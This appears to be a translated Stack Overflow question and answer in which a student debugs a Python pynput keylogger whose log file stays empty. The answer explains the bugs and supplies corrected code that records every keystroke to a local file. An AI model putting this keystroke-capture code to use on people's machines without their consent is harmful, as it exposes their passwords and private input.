Python键盘记录器:.txt文件不会保存我的击键

时间:2020-08-20 01:50:19

标签: python keylogger

作为学校项目的一部分,我正在使用Python创建一个键盘记录程序,到目前为止,我已经使我的程序能够记录用户的键盘输入。我希望这些击键保存到名为“ log.txt”的文件中,并且已经为其编写了代码,但是“ log.txt”文件却什么也不保存,只是空白。

我该如何解决?这是我的代码。

count = 0
keys = [""]

def key_pressed(key):
    global keys, count
    keys = '{0}'.format(key)
    print(keys)
    
    

    if count >= 10:
        count = 0
        log_2_file(keys)
        keys = [""]

def log_2_file(keys):
     with open(file, path + ext + file, "a") as log_file:
         for key in keys:
             log_file(str(key))

def key_released(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
    loop.join()

非常感谢您的帮助,我不知道我要去哪里错了,来到这里绝对是不得已的选择。

(顺便说一句,我在IDLE 3.7.0中编码)

1 个答案:

答案 0 :(得分:0)

您在代码中犯了几个错误。

log_2_file函数中:

  1. with open(file, path + ext + file, "a")。您在此处将三个参数传递给open(...)。尽管open支持2个以上的参数,例如buffering(请参阅this question and answer),但看起来您刚刚混入了一些东西。因此,我仅用file, path + ext + file替换了两个第一个参数("keylogger.log")。
  2. log_file('str(key)')log_flie在这里不是函数,它是文件对象。它是不可调用的,并且当您要在其中编写某些内容时,应改用其.write(something)方法。您还应该添加log_file.flush(),以确保更改立即出现(不仅在您.close()文件之后出现,或者退出with open(...) as ...:正文之外)
  3. 在将每个键写入文件时,还应该在每个键之后添加“ \ n”,否则所有内容将被写入一行,而不同键之间甚至没有空格。
  4. 您要在尝试编写10个按键的块之前将keys设置为[""]。这是一个坏主意,因为日志文件的第一行只是空的。您最好将keys写入文件,然后再写换行符。

key_pressed函数中:

  1. 您为什么使用{0}.format(key)而不是str(key)
  2. 大概是您正在尝试将新密钥添加到keys列表中。但是,您只是将keys的值设置为str(key)
  3. 您根本不会更改count的值,因此它永远不会等于10。相反,它始终是0。
  4. 使用count >= 10是一个坏主意。在它将超过10之前,肯定是10,并且计数将再次为0。因此,请改用count == 10

这是代码的更新版本:

from pynput import keyboard


count, keys = 0, []

def log_2_file(keys):
    with open("keylogger.log", "a") as log_file:
        for key in keys:
            log_file.write(str(key) + "\n")
            log_file.flush()
        log_file.write("\n")
            
def key_pressed(key):
    global keys, count

    keys.append(str(key))
    count += 1
    
    if count == 10:
        log_2_file(keys)
        count, keys = 0, []             

def key_released(key):
    if key == keyboard.Key.esc:
        return False

with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
    loop.join()